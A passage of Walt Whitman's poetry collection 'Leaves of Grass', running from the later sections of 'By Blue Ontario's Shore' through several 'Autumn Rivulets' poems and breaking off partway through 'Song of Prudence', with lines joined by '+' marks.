and respite no more. + + 7 +(Lo, high toward heaven, this day, +Libertad, from the conqueress' field return'd, +I mark the new aureola around your head, +No more of soft astral, but dazzling and fierce, +With war's flames and the lambent lightnings playing, +And your port immovable where you stand, +With still the inextinguishable glance and the clinch'd and lifted fist, +And your foot on the neck of the menacing one, the scorner utterly + crush'd beneath you, +The menacing arrogant one that strode and advanced with his + senseless scorn, bearing the murderous knife, +The wide-swelling one, the braggart that would yesterday do so much, +To-day a carrion dead and damn'd, the despised of all the earth, +An offal rank, to the dunghill maggots spurn'd.) + + 8 +Others take finish, but the Republic is ever constructive and ever + keeps vista, +Others adorn the past, but you O days of the present, I adorn you, +O days of the future I believe in you--I isolate myself for your sake, +O America because you build for mankind I build for you, +O well-beloved stone-cutters, I lead them who plan with decision + and science, +Lead the present with friendly hand toward the future. +(Bravas to all impulses sending sane children to the next age! +But damn that which spends itself with no thought of the stain, + pains, dismay, feebleness, it is bequeathing.) + + 9 +I listened to the Phantom by Ontario's shore, +I heard the voice arising demanding bards, +By them all native and grand, by them alone can these States be + fused into the compact organism of a Nation. + +To hold men together by paper and seal or by compulsion is no account, +That only holds men together which aggregates all in a living principle, + as the hold of the limbs of the body or the fibres of plants. + +Of all races and eras these States with veins full of poetical stuff most + need poets, and are to have the greatest, and use them the greatest, +Their Presidents shall not be their common referee so much as their + poets shall. + +(Soul of love and tongue of fire! +Eye to pierce the deepest deeps and sweep the world! +Ah Mother, prolific and full in all besides, yet how long barren, barren?) + + 10 +Of these States the poet is the equable man, +Not in him but off from him things are grotesque, eccentric, fail of + their full returns, +Nothing out of its place is good, nothing in its place is bad, +He bestows on every object or quality its fit proportion, neither + more nor less, +He is the arbiter of the diverse, he is the key, +He is the equalizer of his age and land, +He supplies what wants supplying, he checks what wants checking, +In peace out of him speaks the spirit of peace, large, rich, + thrifty, building populous towns, encouraging agriculture, arts, + commerce, lighting the study of man, the soul, health, + immortality, government, +In war he is the best backer of the war, he fetches artillery as + good as the engineer's, he can make every word he speaks draw blood, +The years straying toward infidelity he withholds by his steady faith, +He is no arguer, he is judgment, (Nature accepts him absolutely,) +He judges not as the judge judges but as the sun failing round + helpless thing, +As he sees the farthest he has the most faith, +His thoughts are the hymns of the praise of things, +In the dispute on God and eternity he is silent, +He sees eternity less like a play with a prologue and denouement, +He sees eternity in men and women, he does not see men and women + as dreams or dots. + +For the great Idea, the idea of perfect and free individuals, +For that, the bard walks in advance, leader of leaders, +The attitude of him cheers up slaves and horrifies foreign despots. + +Without extinction is Liberty, without retrograde is Equality, +They live in the feelings of young men and the best women, +(Not for nothing have the indomitable heads of the earth been always + ready to fall for Liberty.) + + 11 +For the great Idea, +That, O my brethren, that is the mission of poets. + +Songs of stern defiance ever ready, +Songs of the rapid arming and the march, +The flag of peace quick-folded, and instead the flag we know, +Warlike flag of the great Idea. + +(Angry cloth I saw there leaping! +I stand again in leaden rain your flapping folds saluting, +I sing you over all, flying beckoning through the fight--O the + hard-contested fight! +The cannons ope their rosy-flashing muzzles--the hurtled balls scream, +The battle-front forms amid the smoke--the volleys pour incessant + from the line, +Hark, the ringing word Charge!--now the tussle and the furious + maddening yells, +Now the corpses tumble curl'd upon the ground, +Cold, cold in death, for precious life of you, +Angry cloth I saw there leaping.) + + 12 +Are you he who would assume a place to teach or be a poet here in + the States? +The place is august, the terms obdurate. + +Who would assume to teach here may well prepare himself body and mind, +He may well survey, ponder, arm, fortify, harden, make lithe himself, +He shall surely be question'd beforehand by me with many and stern questions. + +Who are you indeed who would talk or sing to America? +Have you studied out the land, its idioms and men? +Have you learn'd the physiology, phrenology, politics, geography, + pride, freedom, friendship of the land? its substratums and objects? +Have you consider'd the organic compact of the first day of the + first year of Independence, sign'd by the Commissioners, ratified + by the States, and read by Washington at the head of the army? +Have you possess'd yourself of the Federal Constitution? +Do you see who have left all feudal processes and poems behind them, + and assumed the poems and processes of Democracy? +Are you faithful to things? do you teach what the land and sea, the + bodies of men, womanhood, amativeness, heroic angers, teach? +Have you sped through fleeting customs, popularities? +Can you hold your hand against all seductions, follies, whirls, + fierce contentions? are you very strong? are you really of the + whole People? +Are you not of some coterie? some school or mere religion? +Are you done with reviews and criticisms of life? animating now to + life itself? +Have you vivified yourself from the maternity of these States? +Have you too the old ever-fresh forbearance and impartiality? +Do you hold the like love for those hardening to maturity? for the + last-born? little and big? and for the errant? + +What is this you bring my America? +Is it uniform with my country? +Is it not something that has been better told or done before? +Have you not imported this or the spirit of it in some ship? +Is it not a mere tale? a rhyme? a prettiness?--Is the good old cause in it? +Has it not dangled long at the heels of the poets, politicians, + literats, of enemies' lands? +Does it not assume that what is notoriously gone is still here? +Does it answer universal needs? will it improve manners? +Does it sound with trumpet-voice the proud victory of the Union in + that secession war? +Can your performance face the open fields and the seaside? +Will it absorb into me as I absorb food, air, to appear again in my + strength, gait, face? +Have real employments contributed to it? original makers, not mere + amanuenses? +Does it meet modern discoveries, calibres, facts, face to face? +What does it mean to American persons, progresses, cities? Chicago, + Kanada, Arkansas? +Does it see behind the apparent custodians the real custodians + standing, menacing, silent, the mechanics, Manhattanese, Western + men, Southerners, significant alike in their apathy, and in the + promptness of their love? +Does it see what finally befalls, and has always finally befallen, + each temporizer, patcher, outsider, partialist, alarmist, + infidel, who has ever ask'd any thing of America? +What mocking and scornful negligence? +The track strew'd with the dust of skeletons, +By the roadside others disdainfully toss'd. + + 13 +Rhymes and rhymers pass away, poems distill'd from poems pass away, +The swarms of reflectors and the polite pass, and leave ashes, +Admirers, importers, obedient persons, make but the soil of literature, +America justifies itself, give it time, no disguise can deceive it + or conceal from it, it is impassive enough, +Only toward the likes of itself will it advance to meet them, +If its poets appear it will in due time advance to meet them, there + is no fear of mistake, +(The proof of a poet shall be sternly deferr'd till his country + absorbs him as affectionately as he has absorb'd it.) + +He masters whose spirit masters, he tastes sweetest who results + sweetest in the long run, +The blood of the brawn beloved of time is unconstraint; +In the need of songs, philosophy, an appropriate native grand-opera, + shipcraft, any craft, +He or she is greatest who contributes the greatest original + practical example. + +Already a nonchalant breed, silently emerging, appears on the streets, +People's lips salute only doers, lovers, satisfiers, positive knowers, +There will shortly be no more priests, I say their work is done, +Death is without emergencies here, but life is perpetual emergencies here, +Are your body, days, manners, superb? after death you shall be superb, +Justice, health, self-esteem, clear the way with irresistible power; +How dare you place any thing before a man? + + 14 +Fall behind me States! +A man before all--myself, typical, before all. + +Give me the pay I have served for, +Give me to sing the songs of the great Idea, take all the rest, +I have loved the earth, sun, animals, I have despised riches, +I have given aims to every one that ask'd, stood up for the stupid + and crazy, devoted my income and labor to others, +Hated tyrants, argued not concerning God, had patience and indulgence + toward the people, taken off my hat to nothing known or unknown, +Gone freely with powerful uneducated persons and with the young, + and with the mothers of families, +Read these leaves to myself in the open air, tried them by trees, + stars, rivers, +Dismiss'd whatever insulted my own soul or defiled my body, +Claim'd nothing to myself which I have not carefully claim'd for + others on the same terms, +Sped to the camps, and comrades found and accepted from every State, +(Upon this breast has many a dying soldier lean'd to breathe his last, +This arm, this hand, this voice, have nourish'd, rais'd, restored, +To life recalling many a prostrate form;) +I am willing to wait to be understood by the growth of the taste of myself, +Rejecting none, permitting all. + +(Say O Mother, have I not to your thought been faithful? +Have I not through life kept you and yours before me?) + + 15 +I swear I begin to see the meaning of these things, +It is not the earth, it is not America who is so great, +It is I who am great or to be great, it is You up there, or any one, +It is to walk rapidly through civilizations, governments, theories, +Through poems, pageants, shows, to form individuals. + +Underneath all, individuals, +I swear nothing is good to me now that ignores individuals, +The American compact is altogether with individuals, +The only government is that which makes minute of individuals, +The whole theory of the universe is directed unerringly to one + single individual--namely to You. + +(Mother! with subtle sense severe, with the naked sword in your hand, +I saw you at last refuse to treat but directly with individuals.) + + 16 +Underneath all, Nativity, +I swear I will stand by my own nativity, pious or impious so be it; +I swear I am charm'd with nothing except nativity, +Men, women, cities, nations, are only beautiful from nativity. + +Underneath all is the Expression of love for men and women, +(I swear I have seen enough of mean and impotent modes of expressing + love for men and women, +After this day I take my own modes of expressing love for men and + women.) in myself, + +I swear I will have each quality of my race in myself, +(Talk as you like, he only suits these States whose manners favor + the audacity and sublime turbulence of the States.) + +Underneath the lessons of things, spirits, Nature, governments, + ownerships, I swear I perceive other lessons, +Underneath all to me is myself, to you yourself, (the same + monotonous old song.) + + 17 +O I see flashing that this America is only you and me, +Its power, weapons, testimony, are you and me, +Its crimes, lies, thefts, defections, are you and me, +Its Congress is you and me, the officers, capitols, armies, ships, + are you and me, +Its endless gestations of new States are you and me, +The war, (that war so bloody and grim, the war I will henceforth + forget), was you and me, +Natural and artificial are you and me, +Freedom, language, poems, employments, are you and me, +Past, present, future, are you and me. + +I dare not shirk any part of myself, +Not any part of America good or bad, +Not to build for that which builds for mankind, +Not to balance ranks, complexions, creeds, and the sexes, +Not to justify science nor the march of equality, +Nor to feed the arrogant blood of the brawn belov'd of time. + +I am for those that have never been master'd, +For men and women whose tempers have never been master'd, +For those whom laws, theories, conventions, can never master. + +I am for those who walk abreast with the whole earth, +Who inaugurate one to inaugurate all. + +I will not be outfaced by irrational things, +I will penetrate what it is in them that is sarcastic upon me, +I will make cities and civilizations defer to me, +This is what I have learnt from America--it is the amount, and it I + teach again. + +(Democracy, while weapons were everywhere aim'd at your breast, +I saw you serenely give birth to immortal children, saw in dreams + your dilating form, +Saw you with spreading mantle covering the world.) + + 18 +I will confront these shows of the day and night, +I will know if I am to be less than they, +I will see if I am not as majestic as they, +I will see if I am not as subtle and real as they, +I will see if I am to be less generous than they, +I will see if I have no meaning, while the houses and ships have meaning, +I will see if the fishes and birds are to be enough for themselves, + and I am not to be enough for myself. + +I match my spirit against yours you orbs, growths, mountains, brutes, +Copious as you are I absorb you all in myself, and become the master myself, +America isolated yet embodying all, what is it finally except myself? +These States, what are they except myself? + +I know now why the earth is gross, tantalizing, wicked, it is for my sake, +I take you specially to be mine, you terrible, rude forms. + + +(Mother, bend down, bend close to me your face, +I know not what these plots and wars and deferments are for, +I know not fruition's success, but I know that through war and crime + your work goes on, and must yet go on.) + + 19 +Thus by blue Ontario's shore, +While the winds fann'd me and the waves came trooping toward me, +I thrill'd with the power's pulsations, and the charm of my theme + was upon me, +Till the tissues that held me parted their ties upon me. + +And I saw the free souls of poets, +The loftiest bards of past ages strode before me, +Strange large men, long unwaked, undisclosed, were disclosed to me. + + 20 +O my rapt verse, my call, mock me not! +Not for the bards of the past, not to invoke them have I launch'd + you forth, +Not to call even those lofty bards here by Ontario's shores, +Have I sung so capricious and loud my savage song. + +Bards for my own land only I invoke, +(For the war the war is over, the field is clear'd,) +Till they strike up marches henceforth triumphant and onward, +To cheer O Mother your boundless expectant soul. + +Bards of the great Idea! bards of the peaceful inventions! (for the + war, the war is over!) +Yet bards of latent armies, a million soldiers waiting ever-ready, +Bards with songs as from burning coals or the lightning's fork'd stripes! +Ample Ohio's, Kanada's bards--bards of California! inland bards-- + bards of the war! +You by my charm I invoke. + + + +} Reversals + +Let that which stood in front go behind, +Let that which was behind advance to the front, +Let bigots, fools, unclean persons, offer new propositions, +Let the old propositions be postponed, +Let a man seek pleasure everywhere except in himself, +Let a woman seek happiness everywhere except in herself + + + +[BOOK XXIV. AUTUMN RIVULETS] + +} As Consequent, Etc. + +As consequent from store of summer rains, +Or wayward rivulets in autumn flowing, +Or many a herb-lined brook's reticulations, +Or subterranean sea-rills making for the sea, +Songs of continued years I sing. + +Life's ever-modern rapids first, (soon, soon to blend, +With the old streams of death.) + +Some threading Ohio's farm-fields or the woods, +Some down Colorado's canons from sources of perpetual snow, +Some half-hid in Oregon, or away southward in Texas, +Some in the north finding their way to Erie, Niagara, Ottawa, +Some to Atlantica's bays, and so to the great salt brine. + +In you whoe'er you are my book perusing, +In I myself, in all the world, these currents flowing, +All, all toward the mystic ocean tending. + +Currents for starting a continent new, +Overtures sent to the solid out of the liquid, +Fusion of ocean and land, tender and pensive waves, +(Not safe and peaceful only, waves rous'd and ominous too, +Out of the depths the storm's abysmic waves, who knows whence? +Raging over the vast, with many a broken spar and tatter'd sail.) + +Or from the sea of Time, collecting vasting all, I bring, +A windrow-drift of weeds and shells. + +O little shells, so curious-convolute, so limpid-cold and voiceless, +Will you not little shells to the tympans of temples held, +Murmurs and echoes still call up, eternity's music faint and far, +Wafted inland, sent from Atlantica's rim, strains for the soul of + the prairies, +Whisper'd reverberations, chords for the ear of the West joyously sounding, +Your tidings old, yet ever new and untranslatable, +Infinitesimals out of my life, and many a life, +(For not my life and years alone I give--all, all I give,) +These waifs from the deep, cast high and dry, +Wash'd on America's shores? + + + +} The Return of the Heroes + + 1 +For the lands and for these passionate days and for myself, +Now I awhile retire to thee O soil of autumn fields, +Reclining on thy breast, giving myself to thee, +Answering the pulses of thy sane and equable heart, +Turning a verse for thee. + +O earth that hast no voice, confide to me a voice, +O harvest of my lands--O boundless summer growths, +O lavish brown parturient earth--O infinite teeming womb, +A song to narrate thee. + + 2 +Ever upon this stage, +Is acted God's calm annual drama, +Gorgeous processions, songs of birds, +Sunrise that fullest feeds and freshens most the soul, +The heaving sea, the waves upon the shore, the musical, strong waves, +The woods, the stalwart trees, the slender, tapering trees, +The liliput countless armies of the grass, +The heat, the showers, the measureless pasturages, +The scenery of the snows, the winds' free orchestra, +The stretching light-hung roof of clouds, the clear cerulean and the + silvery fringes, +The high-dilating stars, the placid beckoning stars, +The moving flocks and herds, the plains and emerald meadows, +The shows of all the varied lands and all the growths and products. + + 3 +Fecund America--today, +Thou art all over set in births and joys! +Thou groan'st with riches, thy wealth clothes thee as a swathing-garment, +Thou laughest loud with ache of great possessions, +A myriad-twining life like interlacing vines binds all thy vast demesne, +As some huge ship freighted to water's edge thou ridest into port, +As rain falls from the heaven and vapors rise from earth, so have + the precious values fallen upon thee and risen out of thee; +Thou envy of the globe! thou miracle! +Thou, bathed, choked, swimming in plenty, +Thou lucky Mistress of the tranquil barns, +Thou Prairie Dame that sittest in the middle and lookest out upon + thy world, and lookest East and lookest West, +Dispensatress, that by a word givest a thousand miles, a million + farms, and missest nothing, +Thou all-acceptress--thou hospitable, (thou only art hospitable as + God is hospitable.) + + 4 +When late I sang sad was my voice, +Sad were the shows around me with deafening noises of hatred and + smoke of war; +In the midst of the conflict, the heroes, I stood, +Or pass'd with slow step through the wounded and dying. + +But now I sing not war, +Nor the measur'd march of soldiers, nor the tents of camps, +Nor the regiments hastily coming up deploying in line of battle; +No more the sad, unnatural shows of war. + +Ask'd room those flush'd immortal ranks, the first forth-stepping armies? +Ask room alas the ghastly ranks, the armies dread that follow'd. + +(Pass, pass, ye proud brigades, with your tramping sinewy legs, +With your shoulders young and strong, with your knapsacks and your muskets; +How elate I stood and watch'd you, where starting off you march'd. + +Pass--then rattle drums again, +For an army heaves in sight, O another gathering army, +Swarming, trailing on the rear, O you dread accruing army, +O you regiments so piteous, with your mortal diarrhoea, with your fever, +O my land's maim'd darlings, with the plenteous bloody bandage and + the crutch, +Lo, your pallid army follows.) + + 5 +But on these days of brightness, +On the far-stretching beauteous landscape, the roads and lanes the + high-piled farm-wagons, and the fruits and barns, +Should the dead intrude? + +Ah the dead to me mar not, they fit well in Nature, +They fit very well in the landscape under the trees and grass, +And along the edge of the sky in the horizon's far margin. + +Nor do I forget you Departed, +Nor in winter or summer my lost ones, +But most in the open air as now when my soul is rapt and at peace, + like pleasing phantoms, +Your memories rising glide silently by me. + + 6 +I saw the day the return of the heroes, +(Yet the heroes never surpass'd shall never return, +Them that day I saw not.) + +I saw the interminable corps, I saw the processions of armies, +I saw them approaching, defiling by with divisions, +Streaming northward, their work done, camping awhile in clusters of + mighty camps. + +No holiday soldiers--youthful, yet veterans, +Worn, swart, handsome, strong, of the stock of homestead and workshop, +Harden'd of many a long campaign and sweaty march, +Inured on many a hard-fought bloody field. + +A pause--the armies wait, +A million flush'd embattled conquerors wait, +The world too waits, then soft as breaking night and sure as dawn, +They melt, they disappear. + +Exult O lands! victorious lands! +Not there your victory on those red shuddering fields, +But here and hence your victory. + +Melt, melt away ye armies--disperse ye blue-clad soldiers, +Resolve ye back again, give up for good your deadly arms, +Other the arms the fields henceforth for you, or South or North, +With saner wars, sweet wars, life-giving wars. + + 7 +Loud O my throat, and clear O soul! +The season of thanks and the voice of full-yielding, +The chant of joy and power for boundless fertility. + +All till'd and untill'd fields expand before me, +I see the true arenas of my race, or first or last, +Man's innocent and strong arenas. + +I see the heroes at other toils, +I see well-wielded in their hands the better weapons. + +I see where the Mother of All, +With full-spanning eye gazes forth, dwells long, +And counts the varied gathering of the products. + +Busy the far, the sunlit panorama, +Prairie, orchard, and yellow grain of the North, +Cotton and rice of the South and Louisianian cane, +Open unseeded fallows, rich fields of clover and timothy, +Kine and horses feeding, and droves of sheep and swine, +And many a stately river flowing and many a jocund brook, +And healthy uplands with herby-perfumed breezes, +And the good green grass, that delicate miracle the ever-recurring grass. + + 8 +Toil on heroes! harvest the products! +Not alone on those warlike fields the Mother of All, +With dilated form and lambent eyes watch'd you. + +Toil on heroes! toil well! handle the weapons well! +The Mother of All, yet here as ever she watches you. + +Well-pleased America thou beholdest, +Over the fields of the West those crawling monsters, +The human-divine inventions, the labor-saving implements; +Beholdest moving in every direction imbued as with life the + revolving hay-rakes, +The steam-power reaping-machines and the horse-power machines +The engines, thrashers of grain and cleaners of grain, well + separating the straw, the nimble work of the patent pitchfork, +Beholdest the newer saw-mill, the southern cotton-gin, and the + rice-cleanser. + +Beneath thy look O Maternal, +With these and else and with their own strong hands the heroes harvest. + +All gather and all harvest, +Yet but for thee O Powerful, not a scythe might swing as now in security, +Not a maize-stalk dangle as now its silken tassels in peace. + +Under thee only they harvest, even but a wisp of hay under thy great + face only, +Harvest the wheat of Ohio, Illinois, Wisconsin, every barbed spear + under thee, +Harvest the maize of Missouri, Kentucky, Tennessee, each ear in its + light-green sheath, +Gather the hay to its myriad mows in the odorous tranquil barns, +Oats to their bins, the white potato, the buckwheat of Michigan, to theirs; +Gather the cotton in Mississippi or Alabama, dig and hoard the + golden the sweet potato of Georgia and the Carolinas, +Clip the wool of California or Pennsylvania, +Cut the flax in the Middle States, or hemp or tobacco in the Borders, +Pick the pea and the bean, or pull apples from the trees or bunches + of grapes from the vines, +Or aught that ripens in all these States or North or South, +Under the beaming sun and under thee. + + + +} There Was a Child Went Forth + +There was a child went forth every day, +And the first object he look'd upon, that object he became, +And that object became part of him for the day or a certain part of the day, +Or for many years or stretching cycles of years. + +The early lilacs became part of this child, +And grass and white and red morning-glories, and white and red + clover, and the song of the phoebe-bird, +And the Third-month lambs and the sow's pink-faint litter, and the + mare's foal and the cow's calf, +And the noisy brood of the barnyard or by the mire of the pond-side, +And the fish suspending themselves so curiously below there, and the + beautiful curious liquid, +And the water-plants with their graceful flat heads, all became part of him. + +The field-sprouts of Fourth-month and Fifth-month became part of him, +Winter-grain sprouts and those of the light-yellow corn, and the + esculent roots of the garden, +And the apple-trees cover'd with blossoms and the fruit afterward, + and wood-berries, and the commonest weeds by the road, +And the old drunkard staggering home from the outhouse of the + tavern whence he had lately risen, +And the schoolmistress that pass'd on her way to the school, +And the friendly boys that pass'd, and the quarrelsome boys, +And the tidy and fresh-cheek'd girls, and the barefoot negro boy and girl, +And all the changes of city and country wherever he went. + +His own parents, he that had father'd him and she that had conceiv'd + him in her womb and birth'd him, +They gave this child more of themselves than that, +They gave him afterward every day, they became part of him. + +The mother at home quietly placing the dishes on the supper-table, +The mother with mild words, clean her cap and gown, a wholesome + odor falling off her person and clothes as she walks by, +The father, strong, self-sufficient, manly, mean, anger'd, unjust, +The blow, the quick loud word, the tight bargain, the crafty lure, +The family usages, the language, the company, the furniture, the + yearning and swelling heart, +Affection that will not be gainsay'd, the sense of what is real, the + thought if after all it should prove unreal, +The doubts of day-time and the doubts of night-time, the curious + whether and how, +Whether that which appears so is so, or is it all flashes and specks? +Men and women crowding fast in the streets, if they are not flashes + and specks what are they? +The streets themselves and the facades of houses, and goods in the windows, +Vehicles, teams, the heavy-plank'd wharves, the huge crossing at + the ferries, +The village on the highland seen from afar at sunset, the river between, +Shadows, aureola and mist, the light falling on roofs and gables of + white or brown two miles off, +The schooner near by sleepily dropping down the tide, the little + boat slack-tow'd astern, +The hurrying tumbling waves, quick-broken crests, slapping, +The strata of color'd clouds, the long bar of maroon-tint away + solitary by itself, the spread of purity it lies motionless in, +The horizon's edge, the flying sea-crow, the fragrance of salt marsh + and shore mud, +These became part of that child who went forth every day, and who + now goes, and will always go forth every day. + + + +} Old Ireland + +Far hence amid an isle of wondrous beauty, +Crouching over a grave an ancient sorrowful mother, +Once a queen, now lean and tatter'd seated on the ground, +Her old white hair drooping dishevel'd round her shoulders, +At her feet fallen an unused royal harp, +Long silent, she too long silent, mourning her shrouded hope and heir, +Of all the earth her heart most full of sorrow because most full of love. + +Yet a word ancient mother, +You need crouch there no longer on the cold ground with forehead + between your knees, +O you need not sit there veil'd in your old white hair so dishevel'd, +For know you the one you mourn is not in that grave, +It was an illusion, the son you love was not really dead, +The Lord is not dead, he is risen again young and strong in another country, +Even while you wept there by your fallen harp by the grave, +What you wept for was translated, pass'd from the grave, +The winds favor'd and the sea sail'd it, +And now with rosy and new blood, +Moves to-day in a new country. + + + +} The City Dead-House + +By the city dead-house by the gate, +As idly sauntering wending my way from the clangor, +I curious pause, for lo, an outcast form, a poor dead prostitute brought, +Her corpse they deposit unclaim'd, it lies on the damp brick pavement, +The divine woman, her body, I see the body, I look on it alone, +That house once full of passion and beauty, all else I notice not, +Nor stillness so cold, nor running water from faucet, nor odors + morbific impress me, +But the house alone--that wondrous house--that delicate fair house + --that ruin! +That immortal house more than all the rows of dwellings ever built! +Or white-domed capitol with majestic figure surmounted, or all the + old high-spired cathedrals, +That little house alone more than them all--poor, desperate house! +Fair, fearful wreck--tenement of a soul--itself a soul, +Unclaim'd, avoided house--take one breath from my tremulous lips, +Take one tear dropt aside as I go for thought of you, +Dead house of love--house of madness and sin, crumbled, crush'd, +House of life, erewhile talking and laughing--but ah, poor house, + dead even then, +Months, years, an echoing, garnish'd house--but dead, dead, dead. + + + +} This Compost + + 1 +Something startles me where I thought I was safest, +I withdraw from the still woods I loved, +I will not go now on the pastures to walk, +I will not strip the clothes from my body to meet my lover the sea, +I will not touch my flesh to the earth as to other flesh to renew me. + +O how can it be that the ground itself does not sicken? +How can you be alive you growths of spring? +How can you furnish health you blood of herbs, roots, orchards, grain? +Are they not continually putting distemper'd corpses within you? +Is not every continent work'd over and over with sour dead? + +Where have you disposed of their carcasses? +Those drunkards and gluttons of so many generations? +Where have you drawn off all the foul liquid and meat? +I do not see any of it upon you to-day, or perhaps I am deceiv'd, +I will run a furrow with my plough, I will press my spade through + the sod and turn it up underneath, +I am sure I shall expose some of the foul meat. + + 2 +Behold this compost! behold it well! +Perhaps every mite has once form'd part of a sick person--yet behold! +The grass of spring covers the prairies, +The bean bursts noiselessly through the mould in the garden, +The delicate spear of the onion pierces upward, +The apple-buds cluster together on the apple-branches, +The resurrection of the wheat appears with pale visage out of its graves, +The tinge awakes over the willow-tree and the mulberry-tree, +The he-birds carol mornings and evenings while the she-birds sit on + their nests, +The young of poultry break through the hatch'd eggs, +The new-born of animals appear, the calf is dropt from the cow, the + colt from the mare, +Out of its little hill faithfully rise the potato's dark green leaves, +Out of its hill rises the yellow maize-stalk, the lilacs bloom in + the dooryards, +The summer growth is innocent and disdainful above all those strata + of sour dead. + +What chemistry! +That the winds are really not infectious, +That this is no cheat, this transparent green-wash of the sea which + is so amorous after me, +That it is safe to allow it to lick my naked body all over with its tongues, +That it will not endanger me with the fevers that have deposited + themselves in it, +That all is clean forever and forever, +That the cool drink from the well tastes so good, +That blackberries are so flavorous and juicy, +That the fruits of the apple-orchard and the orange-orchard, that + melons, grapes, peaches, plums, will none of them poison me, +That when I recline on the grass I do not catch any disease, +Though probably every spear of grass rises out of what was once + catching disease. + +Now I am terrified at the Earth, it is that calm and patient, +It grows such sweet things out of such corruptions, +It turns harmless and stainless on its axis, with such endless + successions of diseas'd corpses, +It distills such exquisite winds out of such infused fetor, +It renews with such unwitting looks its prodigal, annual, sumptuous crops, +It gives such divine materials to men, and accepts such leavings + from them at last. + + + +} To a Foil'd European Revolutionaire + +Courage yet, my brother or my sister! +Keep on--Liberty is to be subserv'd whatever occurs; +That is nothing that is quell'd by one or two failures, or any + number of failures, +Or by the indifference or ingratitude of the people, or by any + unfaithfulness, +Or the show of the tushes of power, soldiers, cannon, penal statutes. + +What we believe in waits latent forever through all the continents, +Invites no one, promises nothing, sits in calmness and light, is + positive and composed, knows no discouragement, +Waiting patiently, waiting its time. + +(Not songs of loyalty alone are these, +But songs of insurrection also, +For I am the sworn poet of every dauntless rebel the world over, +And he going with me leaves peace and routine behind him, +And stakes his life to be lost at any moment.) + +The battle rages with many a loud alarm and frequent advance and retreat, +The infidel triumphs, or supposes he triumphs, +The prison, scaffold, garrote, handcuffs, iron necklace and + leadballs do their work, +The named and unnamed heroes pass to other spheres, +The great speakers and writers are exiled, they lie sick in distant lands, +The cause is asleep, the strongest throats are choked with their own blood, +The young men droop their eyelashes toward the ground when they meet; +But for all this Liberty has not gone out of the place, nor the + infidel enter'd into full possession. + +When liberty goes out of a place it is not the first to go, nor the + second or third to go, +It waits for all the rest to go, it is the last. + +When there are no more memories of heroes and martyrs, +And when all life and all the souls of men and women are discharged + from any part of the earth, +Then only shall liberty or the idea of liberty be discharged from + that part of the earth, +And the infidel come into full possession. + +Then courage European revolter, revoltress! +For till all ceases neither must you cease. + +I do not know what you are for, (I do not know what I am for myself, + nor what any thing is for,) +But I will search carefully for it even in being foil'd, +In defeat, poverty, misconception, imprisonment--for they too are great. + +Did we think victory great? +So it is--but now it seems to me, when it cannot be help'd, that + defeat is great, +And that death and dismay are great. + + + +} Unnamed Land + +Nations ten thousand years before these States, and many times ten + thousand years before these States, +Garner'd clusters of ages that men and women like us grew up and + travel'd their course and pass'd on, +What vast-built cities, what orderly republics, what pastoral tribes + and nomads, +What histories, rulers, heroes, perhaps transcending all others, +What laws, customs, wealth, arts, traditions, +What sort of marriage, what costumes, what physiology and phrenology, +What of liberty and slavery among them, what they thought of death + and the soul, +Who were witty and wise, who beautiful and poetic, who brutish and + undevelop'd, +Not a mark, not a record remains--and yet all remains. + +O I know that those men and women were not for nothing, any more + than we are for nothing, +I know that they belong to the scheme of the world every bit as much + as we now belong to it. + +Afar they stand, yet near to me they stand, +Some with oval countenances learn'd and calm, +Some naked and savage, some like huge collections of insects, +Some in tents, herdsmen, patriarchs, tribes, horsemen, +Some prowling through woods, some living peaceably on farms, + laboring, reaping, filling barns, +Some traversing paved avenues, amid temples, palaces, factories, + libraries, shows, courts, theatres, wonderful monuments. +Are those billions of men really gone? +Are those women of the old experience of the earth gone? +Do their lives, cities, arts, rest only with us? +Did they achieve nothing for good for themselves? + +I believe of all those men and women that fill'd the unnamed lands, + every one exists this hour here or elsewhere, invisible to us. +In exact proportion to what he or she grew from in life, and out of + what he or she did, felt, became, loved, sinn'd, in life. + +I believe that was not the end of those nations or any person of + them, any more than this shall be the end of my nation, or of me; +Of their languages, governments, marriage, literature, products, + games, wars, manners, crimes, prisons, slaves, heroes, poets, +I suspect their results curiously await in the yet unseen world, + counterparts of what accrued to them in the seen world, +I suspect I shall meet them there, +I suspect I shall there find each old particular of those unnamed lands. + + + +} Song of Prudence + +Manhattan's streets I saunter'd pondering, +On Time, Space, Reality--on such as these, and abreast with them Prudence. + +The last explanation always remains to be made about prudence, +Little and large alike drop quietly aside from the prudence that + suits immortality. + +The soul is of itself, +All verges to it, all has reference to what ensues, +All that a person does, says, thinks, is of consequence, +Not a move can a man or woman make, that affects him or her in a day, + month, any part of the direct lifetime, or the hour of death, +But the same affects him or her onward afterward through the + indirect lifetime. + +The indirect is just as much as the direct, +The spirit receives from the body just as much as it gives to the + body, if not more. + +Not one word or deed, not venereal sore, discoloration, privacy of + the onanist, +Putridity of gluttons or rum-drinkers, peculation, cunning, + betrayal, murder, seduction, prostitution, +But has results beyond death as really as before death. + +Charity and personal force are the only investments worth any thing. + +No specification is necessary, all that a male or female does, that + is vigorous, benevolent, clean, is so much profit to him or her, +In the unshakable order of the universe and through the whole scope + of it forever. + +Who has been wise receives interest, +Savage, felon, President, judge, farmer, sailor, mechanic, literat, + young, old, it is the same, +The interest will come round--all will come round. + +Singly, wholly, to affect now, affected their time, will forever affect, + all of the past and all of the present and all of the future, +All the brave actions of war and peace, +All help given to relatives, strangers, the poor, old, sorrowful, + young children, widows, the sick, and to shunn'd persons, +All self-denial that stood steady and aloof on wrecks, and saw + others fill the seats of the boats, +All offering of substance or life for the good old cause, or for a + friend's sake, or opinion's sake, +All pains of enthusiasts scoff'd at by their neighbors, +All the limitless sweet love and precious suffering of mothers, +All honest men baffled in strifes recorded or unrecorded, +All the grandeur and good of ancient nations whose fragments we inherit, +All the good of the dozens of ancient nations unknown to us by name, + date, location, +All that was ever manfully begun, whether it succeeded or no, +All suggestions of the divine mind of man or the divinity of his + mouth, or the shaping of his great hands, +All that is well thought or said this day on any part of the globe, + or on any of the wandering stars, or on any of the fix'd stars, + by those there as we are here, +All that is henceforth to be thought or done by you whoever you are, + or by any one, +These inure, have inured, shall inure, to the identities from which + they sprang, or shall spring. + +Did you guess any thing lived only its moment? +The world does not so exist, no parts palpable or impalpable so exist, +No consummation exists without being from some long previous + consummation, and that from some other, +Without the farthest conceivable one coming a bit nearer the + beginning than any. + +Whatever satisfies souls is true; +Prudence entirely satisfies the craving and glut of souls, +Itself only finally satisfies the soul, +The soul has that measureless pride which revolts from every lesson + but its own. + +Now I breathe the word of the prudence that walks abreast with time, + space, reality, +That answers the pride which refuses every lesson but its own. + +What is prudence is indivisible, +Declines to separate one part of life from every part, +Divides not the righteous from the unrighteous or the living from the dead, 